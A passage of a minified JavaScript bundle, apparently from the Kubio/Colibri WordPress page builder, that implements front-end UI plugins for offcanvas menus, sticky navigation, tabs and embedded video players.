o="offcanvas",n=function(e,o){this.namespace="offcanvas",this.defaults={target:null,push:!0,width:"250px",direction:"left",toggleEvent:"click",clickOutside:!0,animationOpen:"slideInLeft",animationClose:"slideOutLeft",callbacks:["open","opened","close","closed"],offcanvasOverlayId:null,$overlayElement:null,targetId:null},t.apply(this,arguments),this.utils=new t.Utils,this.detect=new t.Detect,this.start()};n.prototype={start(){if(!this.hasTarget())return;const t=this.opts.offcanvasOverlayId;this.opts.$overlayElement=e("#"+t),this.buildTargetWidth(),this.buildAnimationDirection(),this.$close=this.getCloseLink(),this.$element.on(this.opts.toggleEvent+"."+this.namespace,e.proxy(this.toggle,this)),this.$target.addClass("offcanvas"),this.$target.trigger("kubio.offcanvas.ready"),this.moveOffcanvas(),this.addOffcanvasOverlayLogic()},stop(){this.closeAll(),this.removeOffcanvasElements(),this.$element.off("."+this.namespace),this.$close&&this.$close.off("."+this.namespace),e(document).off("."+this.namespace)},removeOffcanvasElements(){this.$target.remove(),this.opts.$overlayElement.remove()},moveOffcanvas(){const e=this.$target[0];document.querySelector("html > body").appendChild(e);const t=this.opts.$overlayElement[0];document.querySelector("html > body").appendChild(t)},preventDefault(e){try{e.preventDefault(),e.stopPropagation()}catch(e){}return!1},addOffcanvasOverlayLogic(){const e=this.opts.$overlayElement,t=this.$target;t.length&&(e[0].addEventListener("scroll",this.preventDefault,{passive:!0}),e[0].addEventListener("touchmove",this.preventDefault,{passive:!0}),e[0].addEventListener("mousewheel",this.preventDefault,{passive:!0}),t.on("kubio.offcanvas.open",(function(){e.addClass("h-offcanvas-opened")})),t.on("kubio.offcanvas.close",(function(){e.removeClass("h-offcanvas-opened")})))},toggle(e){this.isOpened()?this.close(e):this.open(e)},buildTargetWidth(){this.opts.width=e(window).width()<parseInt(this.opts.width)?"100%":this.opts.width},buildAnimationDirection(){"right"===this.opts.direction&&(this.opts.animationOpen="slideInRight",this.opts.animationClose="slideOutRight")},getCloseLink(){return this.$target.find(".close")},open(o){o&&o.preventDefault(),this.isOpened()||(this.closeAll(),this.callback("open"),this.$target.addClass("offcanvas-"+this.opts.direction),this.$target.css("width",Math.min(parseInt(this.opts.width),window.innerWidth-100)),this.$target.css("right","-"+Math.min(parseInt(this.opts.width),window.innerWidth-100)),this.$target.trigger("kubio.offcanvas.open"),t.animate(this.$target,this.opts.animationOpen,e.proxy(this.onOpened,this)),this.$element.trigger("kubio.offcanvas.open"))},closeAll(){const o=e(document).find(".offcanvas");0!==o.length&&(o.each((function(){const o=e(this);o.hasClass("open")&&(o.css("width",""),t.animate(o,"hide"),o.removeClass("open offcanvas-left offcanvas-right"))})),e(document).off("."+this.namespace),e("body").css("left",""))},close(o){if(o){const t=e(o.target);if(("A"===t[0].tagName||"INPUT"===t[0].tagName||"BUTTON"===t[0].tagName||t.parents("button, a").length)&&0!==t.closest(".offcanvas").length&&!t.hasClass("close")&&window.location.href!==o.target.href)return;o.preventDefault()}this.isOpened()&&(this.callback("close"),this.$target.trigger("kubio.offcanvas.close"),t.animate(this.$target,this.opts.animationClose,e.proxy(this.onClosed,this)))},isOpened(){return this.$target.hasClass("open")},onOpened(){this.$target.find("a").eq(0).focus(),this.$target.removeClass("hide"),this.opts.clickOutside&&e(document).on("click."+this.namespace+" tap."+this.namespace,e.proxy(this.close,this)),this.detect.isMobileScreen()&&e("html").addClass("no-scroll"),e(document).on("keyup."+this.namespace,e.proxy(this.handleKeyboard,this)),e(document).on("keydown."+this.namespace,e.proxy(this.handleKeyDown,this)),this.$close.on("click."+this.namespace,e.proxy(this.close,this)),this.$target.addClass("open"),this.callback("opened")},onClosed(){e("html").removeClass("no-scroll"),this.$target.css("width","").removeClass("offcanvas-"+this.opts.direction),this.$close.off("."+this.namespace),e(document).off("."+this.namespace),this.$target.removeClass("open"),this.callback("closed"),this.$target.trigger("kubio.offcanvas.closed")},handleKeyboard(t){27===t.which&&(document.activeElement&&e(document.activeElement).closest(".offcanvas").length&&this.$element.focus(),this.close())},handleKeyDown(e){if(9===e.which){const t=this.$target.find("a:visible"),o=e.shiftKey;if(t.last().is(e.target)&&!o)return t.first().focus(),e.preventDefault(),void e.stopPropagation();t.first().is(e.target)&&o&&(t.last().focus(),e.preventDefault(),e.stopPropagation())}}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},8830:()=>{!function(e,t,o){const n=function(){const e={getAll:e=>o.defaultView.getComputedStyle(e),get(e,t){return this.getAll(e)[t]},toFloat:e=>parseFloat(e,10)||0,getFloat(e,t){return this.toFloat(this.get(e,t))},_getAllCurrentStyle:e=>e.currentStyle};return o.documentElement.currentStyle&&(e.getAll=e._getAllCurrentStyle),e}(),a=function(){function t(e){this.element=e,this.replacer=o.createElement("div"),this.replacer.style.visibility="hidden",this.hide(),e.parentNode.insertBefore(this.replacer,e)}return t.prototype={replace(){const e=this.replacer.style,t=n.getAll(this.element);e.width=this._width(),e.height=this._height(),e.marginTop=t.marginTop,e.marginBottom=t.marginBottom,e.marginLeft=t.marginLeft,e.marginRight=t.marginRight,e.cssFloat=t.cssFloat,e.styleFloat=t.styleFloat,e.position=t.position,e.top=t.top,e.right=t.right,e.bottom=t.bottom,e.left=t.left,e.display=t.display},hide(){this.replacer.style.display="none"},_width(){return this.element.getBoundingClientRect().width+"px"},_widthOffset(){return this.element.offsetWidth+"px"},_height(){return jQuery(this.element).outerHeight()+"px"},_heightOffset(){return this.element.offsetHeight+"px"},destroy(){e(this.replacer).remove();for(const e in this)this.hasOwnProperty(e)&&(this[e]=null)}},o.documentElement.getBoundingClientRect().width||(t.prototype._width=t.prototype._widthOffset,t.prototype._height=t.prototype._heightOffset),{MimicNode:t,computedStyle:n}}();function i(){this._vendor=null}i.prototype={_vendors:{webkit:{cssPrefix:"-webkit-",jsPrefix:"Webkit"},moz:{cssPrefix:"-moz-",jsPrefix:"Moz"},ms:{cssPrefix:"-ms-",jsPrefix:"ms"},opera:{cssPrefix:"-o-",jsPrefix:"O"}},_prefixJsProperty:(e,t)=>e.jsPrefix+t[0].toUpperCase()+t.substr(1),_prefixValue:(e,t)=>e.cssPrefix+t,_valueSupported(e,t,o){try{return o.style[e]=t,o.style[e]===t}catch(e){return!1}},propertySupported:e=>void 0!==o.documentElement.style[e],getJsProperty(e){if(this.propertySupported(e))return e;if(this._vendor)return this._prefixJsProperty(this._vendor,e);let t;for(const o in this._vendors)if(t=this._prefixJsProperty(this._vendors[o],e),this.propertySupported(t))return this._vendor=this._vendors[o],t;return null},getCssValue(e,t){const n=o.createElement("div"),a=this.getJsProperty(e);if(this._valueSupported(a,t,n))return t;let i;if(this._vendor&&(i=this._prefixValue(this._vendor,t),this._valueSupported(a,i,n)))return i;for(const e in this._vendors)if(i=this._prefixValue(this._vendors[e],t),this._valueSupported(a,i,n))return this._vendor=this._vendors[e],i;return null}};const r=new i,s=r.getJsProperty("transform");let l;const u=r.getCssValue("position","sticky"),c=r.getCssValue("position","fixed");let p;function d(t,o,n){this.child=t,this._$child=e(t),this.parent=o,this.options={className:"fixto-fixed",startAfterNode:{enabled:!1,selector:""},animations:{enabled:!1,currentInAnimationClass:"",currentOutAnimationClass:"",allInAnimationsClasses:"",allOutAnimationsClasses:"",duration:0},top:0,zIndex:""},this._setOptions(n),this._initAnimations()}function m(e,t,o){d.call(this,e,t,o),this._replacer=new a.MimicNode(e),this._ghostNode=this._replacer.replacer,this._saveStyles(),this._saveViewportHeight(),this._proxied_onscroll=this._bind(this._onscroll,this),this._proxied_onresize=this._bind(this._onresize,this),this.start()}function h(e,t,o){d.call(this,e,t,o),this.start()}"Microsoft Internet Explorer"===navigator.appName&&(p=parseFloat(navigator.appVersion.split("MSIE")[1])),d.prototype={_mindtop(){let e=0;if(this._$mind){let t,o;for(let a=0,i=this._$mind.length;a<i;a++)if(t=this._$mind[a],o=t.getBoundingClientRect(),o.height)e+=o.height;else{const o=n.getAll(t);e+=t.offsetHeight+n.toFloat(o.marginTop)+n.toFloat(o.marginBottom)}}return e},_updateOutAnimationDuration(){let e=this.options.animations.duration;isNaN(e)&&(e=0),this._animationDuration=e},_initAnimations(){const t=this.options.animations;this._$child.removeClass(t.allInAnimationsClasses),this._$child.removeClass(t.allOutAnimationsClasses);const o=this;this._updateOutAnimationDuration(),this._animationOutDebounce=e.debounce((function(){o._$child.removeClass(o.options.animations.allOutAnimationsClasses),o._inOutAnimation=!1,o._unfix(),o._removeTransitionFromOutAnimation()}),100),this._animationInDebounce=e.debounce((function(){o._inInAnimation=!1,o._$child.removeClass(o.options.animations.allInAnimationsClasses)}),this._animationDuration)},_removeTransitionFromOutAnimation(){const e="h-global-transition-disable";this._$child.addClass(e);let t=this._$child.css("transition-duration").match(/\d+/)[0];t||(t=0);const o=this;setTimeout((function(){o._$child&&o._$child.removeClass(e)}),1e3*t+500)},_passedStartAfterNode(){const e=this._$startAfterNode;if(e&&e.length>0){const t=this._afterElementOffsetTop,o=e.outerHeight();return this._scrollTop>t+o}return!0},stop(){this._stop(),this._running=!1},start(){this._running||(this._start(),this._running=!0)},destroy(){this.stop(),this._destroy(),this._$child.removeData("fixto-instance");for(const e in this)this.hasOwnProperty(e)&&(this[e]=null)},_setOptions(t){e.extend(!0,this.options,t),this.options.mind&&(this._$mind=e(this.options.mind)),this.options.startAfterNode.enabled&&this.options.startAfterNode.selector&&(this._$startAfterNode=e(this.options.startAfterNode.selector))},setOptions(e){this._setOptions(e),this.refresh()},_stop(){},_start(){},_destroy(){},refresh(){}},m.prototype=new d,e.extend(m.prototype,{_bind:(e,t)=>function(){return e.call(t)},_toresize:8===p?o.documentElement:t,_scriptCallIsValid(t){if(!Colibri.isCustomizerPreview())return!0;const o=e(t).closest(".h-navigation_outer").get(0);return!o||!!o.__vue__},_onscroll:function(){if(this._scrollingContainer=e(".edit-site-visual-editor")[0],this._scrollTop=o.documentElement.scrollTop||o.body.scrollTop||(this._scrollingContainer?this._scrollingContainer.scrollTop:0),this._parentBottom=this.parent.offsetHeight+this._fullOffset("offsetTop",this.parent),!this.options.startAfterNode||this._passedStartAfterNode())if(this.fixed){if(this.options.toBottom){if(this._scrollTop>=this._fullOffset("offsetTop",this._ghostNode))return void this._unfixFromScrollListener()}else if(this._scrollTop>this._parentBottom||this._scrollTop<=this._fullOffset("offsetTop",this._ghostNode)-this.options.top-this._mindtop())return void this._unfixFromScrollListener();this._adjust()}else{const e=n.getAll(this.child);(this._scrollTop<this._parentBottom&&this._scrollTop>this._fullOffset("offsetTop",this.child)-this.options.top-this._mindtop()&&this._viewportHeight>this.child.offsetHeight+n.toFloat(e.marginTop)+n.toFloat(e.marginBottom)||this.options.toBottom)&&(this._fix(),this._adjust())}else this.fixed&&!this._inOutAnimation&&this._unfixFromScrollListener()},_adjust:function(){let t=0;const o=this._mindtop();let a=0;const i=n.getAll(this.child);let r=null;if(l&&(r=this._getContext(),r&&(t=Math.abs(r.getBoundingClientRect().top))),a=this._parentBottom-this._scrollTop-(this.child.offsetHeight+n.toFloat(i.marginBottom)+o+this.options.top),a>0&&(a=0),this.options.toBottom);else{let r=this.options.top;0===r&&(r=e("body").offset().top),this.child.style.top=Math.round(a+o+t+r-n.toFloat(i.marginTop))+"px"}},_fullOffset:function(e,t,o){let n=t[e],a=t.offsetParent;for(;null!==a&&a!==o;)n+=a[e],a=a.offsetParent;return n},_getContext(){let e,t,a=this.child,i=null;for(;!i;){if(e=a.parentNode,e===o.documentElement)return null;if(t=n.getAll(e),"none"!==t[s]){i=e;break}a=e}return i},_fix:function(){const t=this.child,a=t.style,i=n.getAll(t);let r=t.getBoundingClientRect().left,s=i.width;if(this._$child.trigger("fixto-add"),this._saveStyles(),o.documentElement.currentStyle&&(s=t.offsetWidth,"border-box"!==i.boxSizing&&(s-=n.toFloat(i.paddingLeft)+n.toFloat(i.paddingRight)+n.toFloat(i.borderLeftWidth)+n.toFloat(i.borderRightWidth)),s+="px"),l&&(this._getContext(),r=this._$child.offset().left),this._replacer.replace(),a.left=r-n.toFloat(i.marginLeft)+"px",a.width=s,a.position="fixed",this.options.toBottom)a.top="",a.bottom=this.options.top+n.toFloat(i.marginBottom)+"px";else{a.bottom="";let t=this.options.top;0===t&&(t=e("body").offset().top),a.top=this._mindtop()+t-n.toFloat(i.marginTop)+"px"}this.options.zIndex&&(this.child.style.zIndex=this.options.zIndex),this._$child.addClass(this.options.className);const u=this.options.animations;this._$child.removeClass(u.allInAnimationsClasses),u.enabled&&(this._$child.addClass(u.currentInAnimationClass),this._inInAnimation||(this._inInAnimation=!0,this._animationInDebounce())),this.fixed=!0,this._$child.trigger("fixto-added")},_unfixFromScrollListener(){this._$child.trigger("fixto-unnfix-from-scroll"),this.options.animations.enabled?this._unfixTriggerAnimation():this._unfix()},_getAfterElementOffsetTop(){const e=this._$startAfterNode;if(e&&e.length>0){let t=e.get(0),o=0;do{o+=t.offsetTop,t=t.offsetParent}while(t);return o=o<0?0:o,o}return 0},_unfix:function(){this._replacer.hide();const e=this.child.style;e.position=this._childOriginalPosition,e.top=this._childOriginalTop,e.bottom=this._childOriginalBottom,e.width=this._childOriginalWidth,e.left=this._childOriginalLeft,e.zIndex=this._childOriginalZIndex,this.options.always||(this._$child.removeClass(this.options.className),this._$child.trigger("fixto-removed")),this.fixed=!1},_unfixTriggerAnimation(){this._$child.trigger("fixto-animated-remove"),this._animationInDebounce.flush();const e=this.options.animations;this._$child.removeClass(e.allInAnimationsClasses),this._$child.removeClass(e.allOutAnimationsClasses),e.enabled&&this._$child.addClass(e.currentOutAnimationClass),this._inOutAnimation=!0,this._animationOutDebounce()},_saveStyles(){this._animationOutDebounce.flush();const e=this.child.style;this._childOriginalPosition=e.position,this.options.toBottom?(this._childOriginalTop="",this._childOriginalBottom=e.bottom):(this._childOriginalTop=e.top,this._childOriginalBottom=""),this._childOriginalWidth=e.width,this._childOriginalLeft=e.left,this._childOriginalZIndex=e.zIndex,this._afterElementOffsetTop=this._getAfterElementOffsetTop()},_onresize(){this.refresh()},_saveViewportHeight(){this._viewportHeight=t.innerHeight||o.documentElement.clientHeight},_stop(){this._unfix(),t.removeEventListener("scroll",this._proxied_onscroll),t.removeEventListener("mousewheel",this._proxied_onscroll)},_start(){this._onscroll(),t.addEventListener("scroll",this._proxied_onscroll,{passive:!0}),t.addEventListener("mousewheel",this._proxied_onscroll,{passive:!0}),e(this._toresize).on("resize.fixto",this._proxied_onresize)},_destroy(){this._replacer.destroy()},refresh(){this._saveViewportHeight(),this._unfix(),this._onscroll()}}),h.prototype=new d,e.extend(h.prototype,{_start(){const e=n.getAll(this.child);this._childOriginalPosition=e.position,this._childOriginalTop=e.top,this.child.style.position=u,this.refresh()},_stop(){this.child.style.position=this._childOriginalPosition,this.child.style.top=this._childOriginalTop},refresh(){this.child.style.top=this._mindtop()+this.options.top+"px"}});let b=function(e,t,n){return u&&!n||u&&n&&!1!==n.useNativeSticky?new h(e,t,n):c?(void 0===l&&(l=function(){let e=!1;const t=o.createElement("div"),n=o.createElement("div");return t.appendChild(n),t.style[s]="translate(0)",t.style.marginTop="10px",t.style.visibility="hidden",n.style.position="fixed",n.style.top=0,o.body.appendChild(t),n.getBoundingClientRect().top>0&&!0,o.body.removeChild(t),!1}()),new m(e,t,n)):"Neither fixed nor sticky positioning supported"};p<8&&(b=function(){return"not supported"}),e.fn.fixTo=function(t,o){const n=e(t);let a=0;return this.each((function(){const i=e(this).data("fixto-instance");i?i[t].call(i,o):e(this).data("fixto-instance",b(this,n[a],o)),a++}))}}(window.jQuery,window,document)},2267:()=>{!function(e,t){const o="navigation",n={slideDown:{in:"slideInDown",out:"slideOutDownNavigation"},fade:{in:"fadeIn fade-animation-without-other-transitions",out:"fadeOut"},none:{in:"h-global-transition-disable",out:"h-global-transition-disable"}},a=function(n,a){this.namespace=o,this.scrollingContainer=e(".edit-site-visual-editor"),this.defaults={sticky:{className:"h-navigation_sticky",topSpacing:0,top:this.scrollingContainer.length?this.scrollingContainer.offset().top:0,stickyOnMobile:!0,stickyOnTablet:!0,startAfterNode:{enabled:!1,selector:".wp-block-kubio-header"},animations:{enabled:!1,name:"none",duration:0},zIndex:9999,responsiveWidth:!0,center:!0,useShrink:!0,toBottom:!1,useNativeSticky:!1,always:!1,prepare:!0,onShow:!1},overlap:!1,overlapIsActive:!1},t.apply(this,arguments),this.computeOverlapPaddingDelayed=jQuery.debounce(this.computeOverlapPadding.bind(this),10),this.start()};a.prototype={getStickyData(){const t=this.opts.sticky.animations,o=t.duration;return e.extend(!0,{},this.opts.sticky,{animations:{allInAnimationsClasses:"slideInDown fadeIn fade-animation-without-other-transitions h-global-transition-disable",allOutAnimationsClasses:"slideOutDownNavigation fadeOut h-global-transition-disable",currentInAnimationClass:n[t.name].in,currentOutAnimationClass:n[t.name].out,duration:"none"===t.name?0:1e3*o}})},start(){this.opts.sticky&&this.startSticky(this.getStickyData()),this.opts.overlap&&this.startOverlap()},startOverlap(){let t=this.$element.closest(".h-navigation_overlap");0===t.length&&(t=this.$element),this.overlapTarget=t.get(0),this.overlapIsActive=!0,e(window).on("resize.overlap orientationchange.overlap",this.computeOverlapPaddingDelayed),window.addResizeListener(this.overlapTarget,this.computeOverlapPaddingDelayed),this.computeOverlapPadding()},stopOverlap(){this.overlapIsActive=!1,this.$sheet&&(document.head.removeChild(this.$sheet),this.$sheet=null),e(window).off(".overlap"),window.removeResizeListener(this.overlapTarget,this.computeOverlapPaddingDelayed)},computeOverlapPadding(){if(!this.overlapIsActive)return;this.$sheet||(this.$sheet=document.createElement("style"),document.head.appendChild(this.$sheet));const e=this.overlapTarget.offsetHeight+"px !important;";this.$sheet.innerHTML=".h-navigation-padding{padding-top:"+e+"}"},startSticky(t){const o=this;this.$element.data("stickData",t),this.$element.fixTo("body",t),this.opts.sticky.prepare&&this.prepareSticky(),this.$element.on("fixto-added.sticky",(function(){o.$element.attr("data-in-sticky-state",!0)})),this.$element.on("fixto-add.sticky",(function(){o.clearResetTimeouts();const e=o.navigationWrapper();e.css("animation-duration",""),e.css("min-height",e[0].offsetHeight)})),this.$element.on("fixto-removed.sticky",(function(){o.$element.removeAttr("data-in-sticky-state"),o.resetParentHeight()})),e(window).on("resize.sticky orientationchange.sticky",(function(){setTimeout(o.resizeCallback.bind(o),50)})),e(window).trigger("resize.sticky")},stopSticky(){const t=this.fixToInstance();t&&(this.$element.off(".sticky"),t.destroy(),e(window).off(".sticky"),this.$element.removeData("fixto-instance"),this.resetParentHeight())},navigationWrapper(){return this.$element.closest("[class*=navigation__outer]")},resetParentHeight(){this.clearResetTimeouts();const e=this.navigationWrapper(),t=1e3*parseFloat(this.$element.css("animation-duration"));e.css("animation-duration","0s"),this.resetTimeoutHeight=setTimeout((()=>{e.css("min-height","")}),1e3),this.resetTimeoutAnimation=setTimeout((()=>{e.css("animation-duration","")}),t+50)},clearResetTimeouts(){clearTimeout(this.resetTimeoutHeight),clearTimeout(this.resetTimeoutAnimation)},stop(){this.stopSticky(),this.stopOverlap()},prepareSticky(){const t=this;this.normal=this.$element.find("[data-nav-normal]"),this.sticky=this.$element.find("[data-nav-sticky]"),this.sticky.find("span[data-placeholder]").each((function(){e(this).parent().attr("data-placeholder",e(this).attr("data-placeholder")),e(this).remove()})),this.sticky.length&&this.sticky.children().length&&(this.$element.on("fixto-added.sticky",(function(){t.moveElementsToSticky()})),this.$element.on("fixto-removed.sticky",(function(){t.moveElementsToNormal()})))},moveElementsToSticky(){const t=this.sticky.find("[data-placeholder]"),o=this;t.each((function(t,n){$this=e(this);const a=$this.attr("data-placeholder"),i=o.normal.find("[data-placeholder-provider="+a+"] .h-column__content >"),r=$this;r&&i.length&&e(r).append(i)})),this.normal.hide(),this.sticky.show()},moveElementsToNormal(){const t=this.sticky.find("[data-placeholder]"),o=this;t.each((function(t,n){$this=e(this);const a=$this.attr("data-placeholder"),i=o.sticky.find("[data-placeholder="+a+"] >"),r=o.normal.find("[data-placeholder-provider="+a+"] .h-column__content");r&&i.length&&e(r).append(i)})),this.normal.show(),this.sticky.hide()},fixToInstance(){const e=this.$element.data();return!(!e||!e.fixtoInstance)&&e.fixtoInstance},resizeCallback(){if(window.innerWidth<1024){const o=(e=this.$element.data()).stickData;if(!o)return;if(!(t=e.fixtoInstance))return!0;window.innerWidth<=767?o.stickyOnMobile||t.stop():o.stickyOnTablet||t.stop()}else{var e,t;if(!(e=this.$element.data()))return;if(!(t=e.fixtoInstance))return!0;t.refresh(),t.start()}}},a.inherits(t),t[o]=a,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},9555:()=>{!function(e,t){const o="overlap",n=function(){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.start()};n.prototype={start(){e(window).on("resize.overlap orientationchange.overlap",this.computePadding),this.overlapTarget=this.$element[0],new ResizeObserver(this.computePadding).observe(this.overlapTarget)},stop(){e(window).off(".overlap"),this.$sheet&&(document.head.removeChild(this.$sheet),this.$sheet=null)},computePadding(e){if(!e||!e[0]||!e[0].target)return;this.$sheet||(this.$sheet=document.createElement("style"),document.head.appendChild(this.$sheet));const t=e[0].target.offsetHeight+"px !important;";this.$sheet.innerHTML=".h-navigation-padding{padding-top:"+t+"}"},resizeCallback(){this.computePadding()}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},5310:()=>{!function(e,t){const o="tabs",n=function(e,n){this.namespace=o,this.defaults={equals:!1,active:!1,hash:!0,contentActiveClass:"h-tabs-content-active",navActiveClass:"h-tabs-navigation-active-item h-custom-active-state",callbacks:["init","next","prev","open","opened","close","closed"]},t.apply(this,arguments),this.start()};n.prototype={start(){this.tabsCollection=[],this.hashesCollection=[],this.currentHash=[],this.currentItem=!1,this.$items=this.getItems(),this.$items.length&&(this.$items.each(e.proxy(this.loadItems,this)),this.$tabs=this.getTabs(),this.currentHash=this.getLocationHash(),this.closeAll(),this.setActiveItem(),this.setItemHeight(),this.callback("init"),window.addEventListener("hashchange",this.onHashChange.bind(this),!1))},restart(){this.updateOpts(),this.stop(),this.start()},stop(){this.$items.length>0&&this.$items.each(e.proxy(this.unbindItem,this))},unbindItem(e,t){const o=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");this.getItem(t).$el.off(o)},getTabs(){return e(this.tabsCollection).map((function(){return this.toArray()}))},elementIsVisible(e){let t=e.offsetTop;const o=e.offsetHeight;for(;e.offsetParent;)t+=(e=e.offsetParent).offsetTop;return t<window.pageYOffset+window.innerHeight&&t+o>window.pageYOffset},tabsIsVisible(){return this.elementIsVisible(this.$element.get(0))},tabsTopIsVisible(){const e=this.$element.get(0).getBoundingClientRect();return this.tabsIsVisible()&&e.top>0},onHashChange(e){this.closeAll(),this.currentHash=this.getLocationHash(),this.setActiveItem(),this.currentHash&&!this.tabsTopIsVisible()&&this.$element.get(0).scrollIntoView()},getItems(){return this.$element.find("> .h-tabs-navigation .h-tabs-navigation-item")},loadItems(t,o){const n=this.getItem(o);n.$el.attr("rel",n.hash),this.collectItem(n),n.$el.hasClass(this.opts.navActiveClass)&&(this.currentItem=n,this.opts.active=n.hash);const a=["click","tap"].map((e=>`${e}.${this.namespace} `)).join(" ");n.$el.off(a).on(a,e.proxy(this.open,this))},collectItem(e){this.tabsCollection.push(e.$tab),this.hashesCollection.push(e.hash)},setActiveItem(){this.currentHash?(this.currentItem=this.getItemBy(this.currentHash),this.opts.active=this.currentHash):!1===this.opts.active?(this.currentItem=this.getItem(this.$items.first()),this.opts.active=this.currentItem.hash):this.opts.active&&(this.currentItem=this.getItemBy(this.opts.active)),this.addActive(this.currentItem)},addActive(e){e.$tab.find(".h-element").trigger("colibriContainerOpened"),e.$tab.find('[data-kubio="kubio/slider"], [data-kubio="kubio/carousel"], [data-kubio="kubio/counter"]').trigger("colibriContainerOpened"),e.$el.addClass(this.opts.navActiveClass),e.$tab.removeClass("hide").addClass(this.opts.contentActiveClass),this.currentItem=e},removeActive(e){e.$el.removeClass(this.opts.navActiveClass),e.$tab.addClass("hide").removeClass(this.opts.contentActiveClass),this.currentItem=!1},next(e){e&&e.preventDefault();const t=this.getItem(this.fetchElement("next"));this.open(t.hash),this.callback("next",t)},prev(e){e&&e.preventDefault();const t=this.getItem(this.fetchElement("prev"));this.open(t.hash),this.callback("prev",t)},fetchElement(e){let t;if(!1!==this.currentItem){if(t=this.currentItem.$parent[e]().find("a"),0===t.length)return}else t=this.$items[0];return t},open(e,t){if(void 0===e)return;"object"==typeof e&&e.preventDefault();const o="object"==typeof e?this.getItem(e.target):this.getItemBy(e);this.closeAll(),this.callback("open",o),this.addActive(o),this.pushStateOpen(t,o),this.callback("opened",o)},pushStateOpen(e,t){if(!1!==e&&!1!==this.opts.hash)try{window.history.pushState(!1,!1,t.hash)}catch(e){}},close(e){const t=this.getItemBy(e);t.$el.hasClass(this.opts.navActiveClass)&&(this.callback("close",t),this.removeActive(t),this.pushStateClose(),this.callback("closed",t))},pushStateClose(){!1!==this.opts.hash&&history.pushState(!1,!1," ")},closeAll(){this.$tabs.removeClass("open").addClass("hide").removeClass(this.opts.contentActiveClass),this.$items.removeClass(this.opts.navActiveClass)},getItem(t){const o={};return o.$el=e(t),o.$el.is("a")||(o.$el=o.$el.parents("a").eq(0)),o.hash=o.$el.attr("href"),o.$parent=o.$el.parent(),o.$tab=this.$element.find(o.hash),o},getItemBy(e){const t="number"==typeof e?this.$items.eq(e-1):this.$element.find('[rel="'+e+'"]');return this.getItem(t)},getLocationHash(){return!1!==this.opts.hash&&!!this.isHash()&&top.location.hash},isHash(){return!(""===top.location.hash||-1===e.inArray(top.location.hash,this.hashesCollection))},setItemHeight(){if(this.opts.equals){const e=this.getItemMaxHeight()+"px";this.$tabs.css("min-height",e)}},getItemMaxHeight(){let t=0;return this.$tabs.each((function(){const o=e(this).outerHeight();t=o>t?o:t})),t}},n.inherits(t),t[o]=n,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},4906:()=>{!function(e,t){const o="video";class n{constructor(e,t={}){this.$element=e,this.data=t}play(){}stop(){}pause(){}startIfAutoplay(){this.data.autoPlay&&this.play()}getContentWindow(){const e=this.$element.find("iframe");if(!(e.length<1))return e.get(0).contentWindow}}class a extends n{play(){this.runCommand("playVideo")}pause(){this.runCommand("pauseVideo")}stop(){this.runCommand("stopVideo")}runCommand(e){const t=this.getContentWindow();if(!t)return;const o=JSON.stringify({event:"command",func:e});t.postMessage(o,"https://www.youtube.com")}}class i extends n{play(){this.runCommand("play")}pause(){this.runCommand("pause")}stop(){this.runCommand("pause"),this.runCommand("setCurrentTime","0")}runCommand(e,t){const o=this.getContentWindow();if(!o)return;const n=JSON.stringify({method:e,value:t});o.postMessage(n,"*")}}class r extends n{constructor(e,t){super(e,t),this.video=this.$element.find("video").get(0),this.video.loop&&t.startTime&&t.endTime&&this.video.addEventListener("timeupdate",(()=>{this.video.currentTime>=t.endTime&&(this.video.currentTime=t.startTime,this.play())}))}play(){this.video.play().catch((e=>{this.video.muted=!0}))}pause(){this.video.pause()}stop(){this.pause(),this.video.currentTime=0}}const s=function(e,n){this.namespace=o,this.defaults={data:{}},t.apply(this,arguments),this.start()};s.prototype={start(){switch((this.opts||{}).displayAs){case"posterImage":this.addPosterImageLogic();break;case"iconWithLightbox":this.addIconWithLightBoxLogic()}this.addVideoHandler();let e=!1;this.intersectionObserver=this.$element.respondToVisibility((t=>{t&&e&&this.handler.startIfAutoplay(),e||(e=!0)}))},stop(){this.intersectionObserver&&(this.intersectionObserver.disconnect(),this.intersectionObserver=null)},addVideoHandler(){switch(this.opts.videoCategory){case"internal":this.handler=new r(this.$element,this.opts);break;case"youtube":this.handler=new a(this.$element,this.opts);break;case"vimeo":this.handler=new i(this.$element,this.opts)}},addPosterImageLogic(){const e=this.opts,t=this.$element.find(".wp-block-kubio-video__poster");if(0!==t.length){const o=t.find("a"),n=t.find(".h-svg-icon");0!==o.length&&(o.removeAttr("href"),o.click({element:this.$element,data:e},this.startVideo.bind(this))),0!==n.length&&n.click({element:this.$element,data:e},this.startVideo.bind(this))}},addIconWithLightBoxLogic(){const e=this.opts,t=this.$element.find(".wp-block-kubio-video__lightbox");0!==t.length&&t.find(".h-svg-icon ").click({element:this.$element,data:e},this.startVideo)},startVideo(t){const o=t.data.element,n=t.data.data.lightBox;if(n||o.find(".wp-block-kubio-video__poster").hide(),"internal"!==t.data.data.videoCategory){const t=o.find("iframe");if(n){let n=t.attr("src");n=n.replace("autoplay=0","autoplay=1"),n=n.replace("autopause=0",""),e.fancybox.open({src:n,opts:{beforeClose(e,t){o.find(".wp-block-kubio-video__poster").show()}}})}else this.handler.play()}else n?(o.find(".wp-block-kubio-video__video"),e.fancybox.open({src:o.find("video"),type:"inline",modal:!1,touch:!1,showCloseButton:!0,opts:{afterLoad(e,t){const o=t.$content.find("video");0!==o.length&&o.removeClass("h-video-main")},beforeClose(e,t){o.find(".wp-block-kubio-video__poster").show()}}})):this.handler.play()}},s.inherits(t),t[o]=s,t.Plugin.create(o),t.Plugin.autoload(o)}(jQuery,Colibri)},9196:e=>{"use strict";e.exports=window.React},9307:e=>{"use strict";e.exports=window.wp.element},6024:(e,t)=>{var o;!function(){"use strict";var n=function(){function e(){}function t(e,t){for(var o=t.length,n=0;n<o;++n)a(e,t[n])}e.prototype=Object.create(null);var o={}.hasOwnProperty,n=/\s+/;function a(e,a){if(a){var i=typeof a;"string"===i?function(e,t){for(var o=t.split(n),a=o.length,i=0;i<a;++i)e[o[i]]=!0}(e,a):Array.isArray(a)?t(e,a):"object"===i?function(e,t){if(t.toString===Object.prototype.toString||t.toString.toString().includes("[native code]"))for(var n in t)o.call(t,n)&&(e[n]=!!t[n]);else 